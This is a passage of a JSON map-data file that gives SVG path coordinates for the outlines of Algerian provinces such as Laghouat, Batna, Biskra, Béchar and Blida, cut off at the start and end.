0.593 0.041 c 0 0 0.541 1.18 0.541 1.18 c 0 0 1.563 0.984 1.563 0.984 c 0 0 2.838 -0.813 2.838 -0.813 c 0 0 2.173 3.286 2.173 3.286 c 0 0 0.06 -1.414 0.06 -1.414 c 0 0 0.518 -0.333 0.518 -0.333 c 0 0 -0.384 -0.349 -0.384 -0.349 c 0 0 2.264 -0.619 2.264 -0.619 c 0 0 0.035 -0.865 0.035 -0.865 c 0 0 1.22 -1.163 1.22 -1.163 c 0 0 1.035 1.876 1.035 1.876 c 0 0 1.906 1.174 1.906 1.174 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Chlef"},"3":{"path":"M 311.039 126.689 c 0 0 -3.193 -5.374 -3.193 -5.374 c 0 0 -4.008 -3.915 -4.008 -3.915 c 0 0 -1.49 -1.064 -1.49 -1.064 c 0 0 -8.125 -3.061 -8.125 -3.061 c 0 0 -1.408 -2.328 -1.408 -2.328 c 0 0 -3.983 -3.588 -3.983 -3.588 c 0 0 -5.242 -1.505 -5.242 -1.505 c 0 0 -1.604 -3.201 -1.604 -3.201 c 0 0 0.146 -1.212 0.146 -1.212 c 0 0 -2.38 -6.709 -2.38 -6.709 c 0 0 -1.252 0.433 -1.252 0.433 c 0 0 0.124 -0.432 0.124 -0.432 c 0 0 -1.456 -0.758 -1.456 -0.758 c 0 0 -2.267 2.288 -2.267 2.288 c 0 0 0.026 1.448 0.026 1.448 c 0 0 -0.695 -0.262 -0.695 -0.262 c 0 0 -2.258 1.064 -2.258 1.064 c 0 0 -1.209 -0.324 -1.209 -0.324 c 0 0 -3.377 -4.766 -3.377 -4.766 c 0 0 -0.441 0.087 -0.441 0.087 c 0 0 -1.244 -3.591 -1.244 -3.591 c 0 0 -0.566 -6.331 -0.566 -6.331 c 0 0 -3.015 0.373 -3.015 0.373 c 0 0 -0.437 1.043 -0.437 1.043 c 0 0 -1.978 0.888 -1.978 0.888 c 0 0 -2.349 2.563 -2.349 2.563 c 0 0 -4.876 1.753 -4.876 1.753 c 0 0 -1.839 2.088 -1.839 2.088 c 0 0 -0.366 2.438 -0.366 2.438 c 0 0 -1.644 0.977 -1.644 0.977 c 0 0 -0.273 -1.14 -0.273 -1.14 c 0 0 -3.773 2.229 -3.773 2.229 c 0 0 0.808 1.346 0.808 1.346 c 0 0 -2.194 1.46 -2.194 1.46 c 0 0 0.863 1.461 0.863 1.461 c 0 0 -0.165 0.989 -0.165 0.989 c 0 0 2.206 0.969 2.206 0.969 c 0 0 1.613 1.795 1.613 1.795 c 0 0 3.495 -0.817 3.495 -0.817 c 0 0 1.828 1.584 1.828 1.584 c 0 0 0.565 1.551 0.565 1.551 c 0 0 -0.247 2.655 -0.247 2.655 c 0 0 1.457 0.411 1.457 0.411 c 0 0 0.124 0.991 0.124 0.991 c 0 0 1.142 1.009 1.142 1.009 c 0 0 -0.82 1.435 -0.82 1.435 c 0 0 -0.285 2.856 -0.285 2.856 c 0 0 3.122 0.287 3.122 0.287 c 0 0 -0.206 1.673 -0.206 1.673 c 0 0 3.521 1.138 3.521 1.138 c 0 0 2.073 -0.452 2.073 -0.452 c 0 0 -0.203 3.901 -0.203 3.901 c 0 0 -3.998 0.134 -3.998 0.134 c 0 0 0.641 0.886 0.641 0.886 c 0 0 -0.146 1.528 -0.146 1.528 c 0 0 3.112 6.564 3.112 6.564 c 0 0 10.825 -0.946 10.825 -0.946 c 0 0 5.37 -1.604 5.37 -1.604 c 0 0 8.55 2.039 8.55 2.039 c 0 0 -0.331 -2.903 -0.331 -2.903 c 0 0 -3.66 -2.23 -3.66 -2.23 c 0 0 7.853 -0.362 7.853 -0.362 c 0 0 0.945 -0.734 0.945 -0.734 c 0 0 0.439 0.318 0.439 0.318 c 0 0 0.417 -0.754 0.417 -0.754 c 0 0 0.305 0.512 0.305 0.512 c 0 0 0.903 -0.387 0.903 -0.387 c 0 0 2.684 1.107 2.684 1.107 c 0 0 0.77 -0.422 0.77 -0.422 c 0 0 13.076 0.901 13.076 0.901 c 0 0 0 0 0 0","name":"Laghouat"},"4":{"path":"M 377.235 49.5529 c 0 0 0.701 0.387 0.701 0.387 c 0 0 0.531 2.116 0.531 2.116 c 0 0 1.615 0.739 1.615 0.739 c 0 0 -0.772 0.688 -0.772 0.688 c 0 0 0.142 1.093 0.142 1.093 c 0 0 1.311 2.659 1.311 2.659 c 0 0 -4.046 1.621 -4.046 1.621 c 0 0 -1.879 2.798 -1.879 2.798 c 0 0 -0.624 0.112 -0.624 0.112 c 0 0 -0.659 -1.052 -0.659 -1.052 c 0 0 -0.692 -0.06 -0.692 -0.06 c 0 0 -0.333 -1.191 -0.333 -1.191 c 0 0 -0.393 -0.313 -0.393 -0.313 c 0 0 -0.6 0.601 -0.6 0.601 c 0 0 0.179 -0.579 0.179 -0.579 c 0 0 -1.313 -0.926 -1.313 -0.926 c 0 0 -0.409 1.399 -0.409 1.399 c 0 0 -1.049 0.308 -1.049 0.308 c 0 0 0.063 -2.163 0.063 -2.163 c 0 0 -1.771 -0.877 -1.771 -0.877 c 0 0 -0.118 0.548 -0.118 0.548 c 0 0 -1.816 -0.27 -1.816 -0.27 c 0 0 -0.957 2.009 -0.957 2.009 c 0 0 -1.647 -0.482 -1.647 -0.482 c 0 0 0.408 -1.016 0.408 -1.016 c 0 0 -0.614 -0.53 -0.614 -0.53 c 0 0 -4.031 0.608 -4.031 0.608 c 0 0 -0.774 -1.596 -0.774 -1.596 c 0 0 -2.106 -2.413 -2.106 -2.413 c 0 0 -1.569 -0.717 -1.569 -0.717 c 0 0 -2.67 1.215 -2.67 1.215 c 0 0 -0.353 -0.517 -0.353 -0.517 c 0 0 0.464 -0.385 0.464 -0.385 c 0 0 -0.535 -0.365 -0.535 -0.365 c 0 0 0.359 -0.917 0.359 -0.917 c 0 0 -2.605 -0.267 -2.605 -0.267 c 0 0 -0.109 -0.587 -0.109 -0.587 c 0 0 -1.551 1.313 -1.551 1.313 c 0 0 -2.433 -1.298 -2.433 -1.298 c 0 0 0.803 -2.113 0.803 -2.113 c 0 0 1.65 -0.227 1.65 -0.227 c 0 0 0.715 0.51 0.715 0.51 c 0 0 -0.213 -0.771 -0.213 -0.771 c 0 0 0.78 0.116 0.78 0.116 c 0 0 1.221 -1.532 1.221 -1.532 c 0 0 0.161 -2.791 0.161 -2.791 c 0 0 2.365 -0.863 2.365 -0.863 c 0 0 -0.381 0.438 -0.381 0.438 c 0 0 0.595 1.16 0.595 1.16 c 0 0 1.011 0.369 1.011 0.369 c 0 0 -0.465 -0.805 -0.465 -0.805 c 0 0 1.122 0.603 1.122 0.603 c 0 0 0.375 -1.067 0.375 -1.067 c 0 0 2.243 -0.16 2.243 -0.16 c 0 0 0.264 -1.443 0.264 -1.443 c 0 0 1.445 1.166 1.445 1.166 c 0 0 3.62 0.066 3.62 0.066 c 0 0 -0.201 1.256 -0.201 1.256 c 0 0 1.267 0.551 1.267 0.551 c 0 0 -0.196 0.957 -0.196 0.957 c 0 0 0.998 0.166 0.998 0.166 c 0 0 2.784 -1.372 2.784 -1.372 c 0 0 0.683 -1.773 0.683 -1.773 c 0 0 1.257 -0.076 1.257 -0.076 c 0 0 0.424 2.263 0.424 2.263 c 0 0 0.736 0.045 0.736 0.045 c 0 0 0.649 2.12 0.649 2.12 c 0 0 1.024 1.332 1.024 1.332 c 0 0 2.675 0.939 2.675 0.939 c 0 0 -0.031 1.478 -0.031 1.478 c 0 0 2.814 -0.213 2.814 -0.213 c 0 0 -0.354 -1.537 -0.354 -1.537 c 0 0 0.815 -0.485 0.815 -0.485 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Oum El-Bouaghi"},"5":{"path":"M 354.598 79.5648 c 0 0 -0.634 -2.146 -0.634 -2.146 c 0 0 0.812 -0.795 0.812 -0.795 c 0 0 -0.611 -0.482 -0.611 -0.482 c 0 0 0.499 -0.58 0.499 -0.58 c 0 0 -1.347 -2.257 -1.347 -2.257 c 0 0 -0.802 -0.146 -0.802 -0.146 c 0 0 0.401 -0.844 0.401 -0.844 c 0 0 -0.438 -1.353 -0.438 -1.353 c 0 0 1.308 -1.429 1.308 -1.429 c 0 0 -0.23 -2.636 -0.23 -2.636 c 0 0 1.644 -1.396 1.644 -1.396 c 0 0 -1.052 -0.219 -1.052 -0.219 c 0 0 0.178 -1.438 0.178 -1.438 c 0 0 -0.634 -1.333 -0.634 -1.333 c 0 0 1.491 -1.386 1.491 -1.386 c 0 0 2.418 -0.599 2.418 -0.599 c 0 0 0.612 -1.514 0.612 -1.514 c 0 0 -0.74 -1.491 -0.74 -1.491 c 0 0 0.214 -1.337 0.214 -1.337 c 0 0 -2.106 -2.414 -2.106 -2.414 c 0 0 -1.569 -0.716 -1.569 -0.716 c 0 0 -2.67 1.214 -2.67 1.214 c 0 0 -0.353 -0.518 -0.353 -0.518 c 0 0 0.464 -0.385 0.464 -0.385 c 0 0 -0.535 -0.365 -0.535 -0.365 c 0 0 0.36 -0.917 0.36 -0.917 c 0 0 -2.606 -0.267 -2.606 -0.267 c 0 0 -0.11 -0.587 -0.11 -0.587 c 0 0 -1.55 1.313 -1.55 1.313 c 0 0 -2.433 -1.298 -2.433 -1.298 c 0 0 -3.583 -0.418 -3.583 -0.418 c 0 0 -0.49 0.384 -0.49 0.384 c 0 0 -0.965 0.569 -0.965 0.569 c 0 0 0.445 1.163 0.445 1.163 c 0 0 -2.807 -2.418 -2.807 -2.418 c 0 0 -1.214 0.316 -1.214 0.316 c 0 0 -1.424 1.56 -1.424 1.56 c 0 0 0.121 0.773 0.121 0.773 c 0 0 1.212 0.402 1.212 0.402 c 0 0 -0.792 1.303 -0.792 1.303 c 0 0 -0.682 -0.238 -0.682 -0.238 c 0 0 -0.502 0.541 -0.502 0.541 c 0 0 -2.294 -0.948 -2.294 -0.948 c 0 0 -0.241 0.685 -0.241 0.685 c 0 0 -0.797 -0.078 -0.797 -0.078 c 0 0 -1.382 1.093 -1.382 1.093 c 0 0 0.234 1.001 0.234 1.001 c 0 0 -0.78 1.759 -0.78 1.759 c 0 0 -1.127 -0.332 -1.127 -0.332 c 0 0 -2.661 2.963 -2.661 2.963 c 0 0 -1.817 0.906 -1.817 0.906 c 0 0 -0.723 -1.068 -0.723 -1.068 c 0 0 -1.061 -0.012 -1.061 -0.012 c 0 0 -0.828 0.921 -0.828 0.921 c 0 0 -0.075 -0.786 -0.075 -0.786 c 0 0 -0.958 1.506 -0.958 1.506 c 0 0 -1.945 -1.698 -1.945 -1.698 c 0 0 0.822 4.4 0.822 4.4 c 0 0 -0.38 2.546 -0.38 2.546 c 0 0 -0.915 1.547 -0.915 1.547 c 0 0 -0.525 -0.186 -0.525 -0.186 c 0 0 -1.186 1.173 -1.186 1.173 c 0 0 0.194 0.605 0.194 0.605 c 0 0 2.929 0.061 2.929 0.061 c 0 0 2.126 1.396 2.126 1.396 c 0 0 0.583 -0.342 0.583 -0.342 c 0 0 2.02 0.968 2.02 0.968 c 0 0 0.73 1.103 0.73 1.103 c 0 0 1.017 -0.474 1.017 -0.474 c 0 0 1.503 0.709 1.503 0.709 c 0 0 0.559 -0.079 0.559 -0.079 c 0 0 0.341 -1.11 0.341 -1.11 c 0 0 3.911 -0.103 3.911 -0.103 c 0 0 1.787 -0.953 1.787 -0.953 c 0 0 0.162 -0.935 0.162 -0.935 c 0 0 -0.656 -0.975 -0.656 -0.975 c 0 0 -1.454 -0.28 -1.454 -0.28 c 0 0 -0.321 -0.952 -0.321 -0.952 c 0 0 2.216 0.152 2.216 0.152 c 0 0 3.561 -2.397 3.561 -2.397 c 0 0 2.817 1.882 2.817 1.882 c 0 0 1.857 -0.219 1.857 -0.219 c 0 0 -2.247 2.121 -2.247 2.121 c 0 0 0.993 1.373 0.993 1.373 c 0 0 -0.826 1.425 -0.826 1.425 c 0 0 0.764 -0.211 0.764 -0.211 c 0 0 0.976 1.769 0.976 1.769 c 0 0 2.263 -2.836 2.263 -2.836 c 0 0 1.025 0.388 1.025 0.388 c 0 0 -0.085 1.186 -0.085 1.186 c 0 0 2.13 0.699 2.13 0.699 c 0 0 0.685 -1.448 0.685 -1.448 c 0 0 2.061 -0.262 2.061 -0.262 c 0 0 1.65 -1.111 1.65 -1.111 c 0 0 1.29 1.626 1.29 1.626 c 0 0 -0.779 1.125 -0.779 1.125 c 0 0 0.506 0.944 0.506 0.944 c 0 0 -0.438 2.539 -0.438 2.539 c 0 0 2.456 1.971 2.456 1.971 c 0 0 1.033 -0.363 1.033 -0.363 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Batna"},"6":{"path":"M 314.203 38.1218 c 0 0 -0.336 1.124 -0.336 1.124 c 0 0 -2.016 0.919 -2.016 0.919 c 0 0 -0.034 2.49 -0.034 2.49 c 0 0 -4.18 1.099 -4.18 1.099 c 0 0 -0.776 -1.701 -0.776 -1.701 c 0 0 0.222 -0.601 0.222 -0.601 c 0 0 -0.75 -0.99 -0.75 -0.99 c 0 0 0.743 -0.487 0.743 -0.487 c 0 0 0.148 -1.306 0.148 -1.306 c 0 0 -0.678 -1.324 -0.678 -1.324 c 0 0 1.795 -0.83 1.795 -0.83 c 0 0 2.18 -2.443 2.18 -2.443 c 0 0 -0.406 -0.66 -0.406 -0.66 c 0 0 1.259 -1.582 1.259 -1.582 c 0 0 -1.778 -0.942 -1.778 -0.942 c 0 0 0.148 -0.646 0.148 -0.646 c 0 0 1.229 -0.36 1.229 -0.36 c 0 0 0.704 0.539 0.704 0.539 c 0 0 0.672 -0.653 0.672 -0.653 c 0 0 -0.069 -1.338 -0.069 -1.338 c 0 0 -1.397 -1.952 -1.397 -1.952 c 0 0 3.611 -0.405 3.611 -0.405 c 0 0 3.398 1.061 3.398 1.061 c 0 0 2.038 1.439 2.038 1.439 c 0 0 1.871 0.364 1.871 0.364 c 0 0 -0.442 1.715 -0.442 1.715 c 0 0 2.887 1.563 2.887 1.563 c 0 0 4.324 -0.311 4.324 -0.311 c 0 0 0.029 1.315 0.029 1.315 c 0 0 0.916 0.194 0.916 0.194 c 0 0 -0.184 1.479 -0.184 1.479 c 0 0 -2.389 1.071 -2.389 1.071 c 0 0 0.252 0.685 0.252 0.685 c 0 0 -1.314 1.474 -1.314 1.474 c 0 0 0.471 0.919 0.471 0.919 c 0 0 -0.748 0.375 -0.748 0.375 c 0 0 -1.656 0.241 -1.656 0.241 c 0 0 0.025 -0.935 0.025 -0.935 c 0 0 -0.569 0.197 -0.569 0.197 c 0 0 0.023 -2.689 0.023 -2.689 c 0 0 0.535 -0.694 0.535 -0.694 c 0 0 -2.159 -1.465 -2.159 -1.465 c 0 0 -0.039 0.448 -0.039 0.448 c 0 0 -0.928 -0.088 -0.928 -0.088 c 0 0 -0.447 1.378 -0.447 1.378 c 0 0 -3.62 -0.479 -3.62 -0.479 c 0 0 -0.048 1.35 -0.048 1.35 c 0 0 -2.517 1.442 -2.517 1.442 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Béjaïa"},"7":{"path":"M 354.598 79.5648 c 0 0 -1.037 0.363 -1.037 0.363 c 0 0 -2.456 -1.971 -2.456 -1.971 c 0 0 0.438 -2.539 0.438 -2.539 c 0 0 -0.506 -0.943 -0.506 -0.943 c 0 0 0.779 -1.125 0.779 -1.125 c 0 0 -1.289 -1.626 -1.289 -1.626 c 0 0 -1.651 1.111 -1.651 1.111 c 0 0 -2.061 0.261 -2.061 0.261 c 0 0 -0.685 1.448 -0.685 1.448 c 0 0 -2.13 -0.699 -2.13 -0.699 c 0 0 0.085 -1.186 0.085 -1.186 c 0 0 -1.025 -0.387 -1.025 -0.387 c 0 0 -2.263 2.835 -2.263 2.835 c 0 0 -0.975 -1.768 -0.975 -1.768 c 0 0 -0.765 0.21 -0.765 0.21 c 0 0 0.826 -1.425 0.826 -1.425 c 0 0 -0.993 -1.373 -0.993 -1.373 c 0 0 2.247 -2.121 2.247 -2.121 c 0 0 -1.857 0.22 -1.857 0.22 c 0 0 -2.817 -1.883 -2.817 -1.883 c 0 0 -3.56 2.397 -3.56 2.397 c 0 0 -2.217 -0.152 -2.217 -0.152 c 0 0 0.321 0.952 0.321 0.952 c 0 0 1.454 0.28 1.454 0.28 c 0 0 0.656 0.975 0.656 0.975 c 0 0 -0.162 0.935 -0.162 0.935 c 0 0 -1.787 0.954 -1.787 0.954 c 0 0 -3.911 0.102 -3.911 0.102 c 0 0 -0.341 1.11 -0.341 1.11 c 0 0 -0.558 0.08 -0.558 0.08 c 0 0 -1.503 -0.709 -1.503 -0.709 c 0 0 -1.018 0.473 -1.018 0.473 c 0 0 -0.729 -1.102 -0.729 -1.102 c 0 0 -2.02 -0.969 -2.02 -0.969 c 0 0 -0.584 0.343 -0.584 0.343 c 0 0 0.446 3.492 0.446 3.492 c 0 0 0.547 0.305 0.547 0.305 c 0 0 -0.537 0.065 -0.537 0.065 c 0 0 -0.684 1.586 -0.684 1.586 c 0 0 -5.437 1.63 -5.437 1.63 c 0 0 -0.941 1.502 -0.941 1.502 c 0 0 -1.002 0.173 -1.002 0.173 c 0 0 1.299 1.086 1.299 1.086 c 0 0 -1.021 0.547 -1.021 0.547 c 0 0 -0.658 -0.445 -0.658 -0.445 c 0 0 -1.831 1.14 -1.831 1.14 c 0 0 -4.807 0.046 -4.807 0.046 c 0 0 -0.876 1.823 -0.876 1.823 c 0 0 -2.192 1.835 -2.192 1.835 c 0 0 0.522 0.302 0.522 0.302 c 0 0 0.418 3.083 0.418 3.083 c 0 0 1.216 1.271 1.216 1.271 c 0 0 -0.307 0.725 -0.307 0.725 c 0 0 1.814 0.933 1.814 0.933 c 0 0 -0.773 1.006 -0.773 1.006 c 0 0 -1.99 0.525 -1.99 0.525 c 0 0 -0.442 0.687 -0.442 0.687 c 0 0 0.935 1.143 0.935 1.143 c 0 0 1.888 0.264 1.888 0.264 c 0 0 0.385 1.491 0.385 1.491 c 0 0 2.354 0.396 2.354 0.396 c 0 0 0.57 0.73 0.57 0.73 c 0 0 -1.197 -0.003 -1.197 -0.003 c 0 0 -1.375 1.475 -1.375 1.475 c 0 0 -1.342 0.124 -1.342 0.124 c 0 0 -0.397 0.525 -0.397 0.525 c 0 0 0.45 0.688 0.45 0.688 c 0 0 6.57 2.831 6.57 2.831 c 0 0 1.081 1.471 1.081 1.471 c 0 0 3.26 0.627 3.26 0.627 c 0 0 0.39 0.95 0.39 0.95 c 0 0 1.965 -0.327 1.965 -0.327 c 0 0 0.724 1.225 0.724 1.225 c 0 0 4.001 0.998 4.001 0.998 c 0 0 -0.522 0.879 -0.522 0.879 c 0 0 0.117 1.904 0.117 1.904 c 0 0 3.919 3.499 3.919 3.499 c 0 0 0.91 -1.858 0.91 -1.858 c 0 0 0.663 -1.724 0.663 -1.724 c 0 0 -0.688 -1.585 -0.688 -1.585 c 0 0 -0.35 -4.63 -0.35 -4.63 c 0 0 -1.083 -2.091 -1.083 -2.091 c 0 0 0.858 -4.001 0.858 -4.001 c 0 0 1.969 -4.693 1.969 -4.693 c 0 0 -3.667 -3.257 -3.667 -3.257 c 0 0 0.702 -1.852 0.702 -1.852 c 0 0 -1.199 -1.354 -1.199 -1.354 c 0 0 1.889 -1.327 1.889 -1.327 c 0 0 -0.72 -0.627 -0.72 -0.627 c 0 0 1.104 -0.631 1.104 -0.631 c 0 0 2.287 1.521 2.287 1.521 c 0 0 11.929 1.271 11.929 1.271 c 0 0 5.31 -1.304 5.31 -1.304 c 0 0 5.733 2.047 5.733 2.047 c 0 0 1.45 1.393 1.45 1.393 c 0 0 1.654 -0.581 1.654 -0.581 c 0 0 1.726 -2.196 1.726 -2.196 c 0 0 -0.517 -1.926 -0.517 -1.926 c 0 0 1.047 -2.039 1.047 -2.039 c 0 0 -0.163 -3.493 -0.163 -3.493 c 0 0 0.727 -2.389 0.727 -2.389 c 0 0 -0.822 0.197 -0.822 0.197 c 0 0 0.415 -0.997 0.415 -0.997 c 0 0 -1.047 -1.056 -1.047 -1.056 c 0 0 0.4 -0.473 0.4 -0.473 c 0 0 -1.139 0.062 -1.139 0.062 c 0 0 -0.737 1.719 -0.737 1.719 c 0 0 -1.087 0.596 -1.087 0.596 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Biskra"},"8":{"path":"M 189.561 141.431 c 0 0 0.163 2.393 0.163 2.393 c 0 0 1.428 0.123 1.428 0.123 c 0 0 -0.542 2.863 -0.542 2.863 c 0 0 1.384 0.042 1.384 0.042 c 0 0 0.298 1.563 0.298 1.563 c 0 0 5.834 -3.103 5.834 -3.103 c 0 0 6.79 1.902 6.79 1.902 c 0 0 1.803 -1.33 1.803 -1.33 c 0 0 2.417 0.518 2.417 0.518 c 0 0 1.629 -2.4 1.629 -2.4 c 0 0 -0.953 4.385 -0.953 4.385 c 0 0 -2.081 -0.471 -2.081 -0.471 c 0 0 -1.103 0.817 -1.103 0.817 c 0 0 -1.05 2.219 -1.05 2.219 c 0 0 -0.139 4.177 -0.139 4.177 c 0 0 0.68 2.281 0.68 2.281 c 0 0 -0.686 0.065 -0.686 0.065 c 0 0 0.179 0.967 0.179 0.967 c 0 0 -0.602 0.846 -0.602 0.846 c 0 0 0.955 1.182 0.955 1.182 c 0 0 -1.242 1.209 -1.242 1.209 c 0 0 1.247 2.015 1.247 2.015 c 0 0 -1.014 1.204 -1.014 1.204 c 0 0 0.036 1.863 0.036 1.863 c 0 0 0.853 1.823 0.853 1.823 c 0 0 2.917 2.352 2.917 2.352 c 0 0 -0.818 2.98 -0.818 2.98 c 0 0 14.029 11.903 14.029 11.903 c 0 0 -8.624 9.693 -8.624 9.693 c 0 0 -3.966 6.909 -3.966 6.909 c 0 0 -10.189 7.171 -10.189 7.171 c 0 0 -1.53 5.245 -1.53 5.245 c 0 0 1.021 6.804 1.021 6.804 c 0 0 -0.608 2.722 -0.608 2.722 c 0 0 -5.818 4.933 -5.818 4.933 c 0 0 -11.195 0.456 -11.195 0.456 c 0 0 -13.243 3.621 -13.243 3.621 c 0 0 -6.827 9.299 -6.827 9.299 c 0 0 -6.535 4.925 -6.535 4.925 c 0 0 -1.732 3.771 -1.732 3.771 c 0 0 -6.146 7.526 -6.146 7.526 c 0 0 -3.367 10.625 -3.367 10.625 c 0 0 1.165 1.256 1.165 1.256 c 0 0 -13.244 -1.684 -13.244 -1.684 c 0 0 -3.001 -2.418 -3.001 -2.418 c 0 0 -5.835 -7.1 -5.835 -7.1 c 0 0 -0.084 -7.644 -0.084 -7.644 c 0 0 -6.775 -12.676 -6.775 -12.676 c 0 0 -5.777 -21.184 -5.777 -21.184 c 0 0 -5.817 -3.173 -5.817 -3.173 c 0 0 -8.409 -0.352 -8.409 -0.352 c 0 0 -4.977 -4.181 -4.977 -4.181 c 0 0 4.214 -5.384 4.214 -5.384 c 0 0 0.024 -1.372 0.024 -1.372 c 0 0 1.014 -1.498 1.014 -1.498 c 0 0 8.097 -5.763 8.097 -5.763 c 0 0 7.482 -3.241 7.482 -3.241 c 0 0 6.645 -5.965 6.645 -5.965 c 0 0 3.927 -1.254 3.927 -1.254 c 0 0 6.729 -0.776 6.729 -0.776 c 0 0 4.574 -1.715 4.574 -1.715 c 0 0 0.583 -0.765 0.583 -0.765 c 0 0 -1.006 -1.718 -1.006 -1.718 c 0 0 0.712 -1.927 0.712 -1.927 c 0 0 0.439 0.271 0.439 0.271 c 0 0 1.753 -2.209 1.753 -2.209 c 0 0 0.06 -2.135 0.06 -2.135 c 0 0 -0.201 -0.656 -0.201 -0.656 c 0 0 -0.495 0.514 -0.495 0.514 c 0 0 -0.386 -0.407 -0.386 -0.407 c 0 0 -0.456 -1.584 -0.456 -1.584 c 0 0 -0.47 0.188 -0.47 0.188 c 0 0 0.021 -1.495 0.021 -1.495 c 0 0 -0.024 1.793 -0.024 1.793 c 0 0 -0.667 0.211 -0.667 0.211 c 0 0 0.487 0.234 0.487 0.234 c 0 0 -0.779 -0.15 -0.779 -0.15 c 0 0 0.248 -1.646 0.248 -1.646 c 0 0 -0.643 -0.663 -0.643 -0.663 c 0 0 -0.118 0.998 -0.118 0.998 c 0 0 -0.614 -0.265 -0.614 -0.265 c 0 0 0.041 0.743 0.041 0.743 c 0 0 -0.644 -0.249 -0.644 -0.249 c 0 0 -0.354 0.62 -0.354 0.62 c 0 0 0.437 -2.005 0.437 -2.005 c 0 0 -0.625 -1.467 -0.625 -1.467 c 0 0 0.73 -0.664 0.73 -0.664 c 0 0 -0.554 -0.775 -0.554 -0.775 c 0 0 0.872 -1.707 0.872 -1.707 c 0 0 0.565 0.509 0.565 0.509 c 0 0 1.714 -1.251 1.714 -1.251 c 0 0 -0.12 -6.14 -0.12 -6.14 c 0 0 18.347 -3.483 18.347 -3.483 c 0 0 -2.126 -6.029 -2.126 -6.029 c 0 0 0.609 -2.241 0.609 -2.241 c 0 0 6.877 0.41 6.877 0.41 c 0 0 3.008 -1.097 3.008 -1.097 c 0 0 4.058 -0.094 4.058 -0.094 c 0 0 2.286 0.737 2.286 0.737 c 0 0 3.44 -0.906 3.44 -0.906 c 0 0 9.396 2.568 9.396 2.568 c 0 0 7.359 0.568 7.359 0.568 c 0 0 1.897 -1.269 1.897 -1.269 c 0 0 -1.222 -1.218 -1.222 -1.218 c 0 0 -1.895 0.225 -1.895 0.225 c 0 0 1.267 -1.027 1.267 -1.027 c 0 0 -0.083 -3.115 -0.083 -3.115 c 0 0 1.147 -1.937 1.147 -1.937 c 0 0 1.524 -0.259 1.524 -0.259 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Béchar"},"9":{"path":"M 284.26 36.7689 c 0 0 0.247 -1.279 0.247 -1.279 c 0 0 -0.585 -0.271 -0.585 -0.271 c 0 0 0.385 -0.414 0.385 -0.414 c 0 0 -0.471 -0.855 -0.471 -0.855 c 0 0 0.536 -0.479 0.536 -0.479 c 0 0 -0.888 0.351 -0.888 0.351 c 0 0 -0.756 -1.312 -0.756 -1.312 c 0 0 -1.009 0.771 -1.009 0.771 c 0 0 -0.61 -0.303 -0.61 -0.303 c 0 0 -0.7 1.808 -0.7 1.808 c 0 0 -1.118 0.075 -1.118 0.075 c 0 0 0.107 -1.082 0.107 -1.082 c 0 0 -1.49 1.068 -1.49 1.068 c 0 0 -3.771 -1.583 -3.771 -1.583 c 0 0 0.339 1.023 0.339 1.023 c 0 0 -2.109 0.599 -2.109 0.599 c 0 0 -1.479 1.646 -1.479 1.646 c 0 0 -1.06 0.141 -1.06 0.141 c 0 0 0.442 0.803 0.442 0.803 c 0 0 -0.447 0.64 -0.447 0.64 c 0 0 -1.568 -0.302 -1.568 -0.302 c 0 0 -1.037 1.464 -1.037 1.464 c 0 0 2.993 2.104 2.993 2.104 c 0 0 1.509 -1.087 1.509 -1.087 c 0 0 2.894 0.205 2.894 0.205 c 0 0 1.567 -1.178 1.567 -1.178 c 0 0 0.671 1.507 0.671 1.507 c 0 0 1.48 0.008 1.48 0.008 c 0 0 0.866 -0.967 0.866 -0.967 c 0 0 -0.188 -1.356 -0.188 -1.356 c 0 0 0.474 0.955 0.474 0.955 c 0 0 0.732 -0.597 0.732 -0.597 c 0 0 0.693 0.698 0.693 0.698 c 0 0 1.156 -1.154 1.156 -1.154 c 0 0 0.085 -1.381 0.085 -1.381 c 0 0 1.631 0.27 1.631 0.27 c 0 0 0.479 -0.536 0.479 -0.536 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Blida"},"10":{"path":"M 300.562 48.4998 c 0 0 1.468 -1.134 1.468 -1.134 c 0 0 0.186 -2.385 0.186 -2.385 c 0 0 1.708 -0.861 1.708 -0.861 c 0 0 0.796 -1.241 0.796 -1.241 c 0 0 1.361 0.091 1.361 0.091 c 0 0 0.781 -0.917 0.781 -0.917 c 0 0 0.224 -0.601 0.224 -0.601 c 0 0 -0.75 -0.99 -0.75 -0.99 c 0 0 0.742 -0.488 0.742 -0.488 c 0 0 0.148 -1.305 0.148 -1.305 c 0 0 -0.679 -1.324 -0.679 -1.324 c 0 0 -2.513 0.268 -2.513 0.268 c 0 0 -0.274 -0.535 -0.274 -0.535 c 0 0 -1.008 0.543 -1.008 0.543 c 0 0 -5.654 0.163 -5.654 0.163 c 0 0 -1.333 -0.33 -1.333 -0.33 c 0 0 -0.937 -1.637 -0.937 -1.637 c 0 0 -0.781 0.04 -0.781 0.04 c 0 0 -0.892 -1.236 -0.892 -1.236 c 0 0 -4.715 -0.709 -4.715 -0.709 c 0 0 -0.479 0.983 -0.479 0.983 c 0 0 -1.366 0.715 -1.366 0.715 c 0 0 -2.088 -0.118 -2.088 -0.118 c 0 0 -0.247 1.278 -0.247 1.278 c 0 0 2.723 2.63 2.723 2.63 c 0 0 1.561 -1.479 1.561 -1.479 c 0 0 1.357 0.704 1.357 0.704 c 0 0 -0.438 0.687 -0.438 0.687 c 0 0 0.997 1.391 0.997 1.391 c 0 0 -1.07 0.599 -1.07 0.599 c 0 0 -0.442 1.267 -0.442 1.267 c 0 0 1.07 0.978 1.07 0.978 c 0 0 -0.182 0.811 -0.182 0.811 c 0 0 -1.427 0.413 -1.427 0.413 c 0 0 -0.228 0.854 -0.228 0.854 c 0 0 0.655 1.041 0.655 1.041 c 0 0 -0.407 0.485 -0.407 0.485 c 0 0 -0.899 0.935 -0.899 0.935 c 0 0 -1.014 -0.015 -1.014 -0.015 c 0 0 0.479 0.781 0.479 0.781 c 0 0 2.788 0.435 2.788 0.435 c 0 0 1.405 2.648 1.405 2.648 c 0 0 0.532 -0.81 0.532 -0.81 c 0 0 1.537 0.153 1.537 0.153 c 0 0 0.654 0.925 0.654 0.925 c 0 0 1.071 0.222 1.071 0.222 c 0 0 0.351 1.005 0.351 1.005 c 0 0 0.802 0.049 0.802 0.049 c 0 0 1.27 -1.216 1.27 -1.216 c 0 0 2.542 0.892 2.542 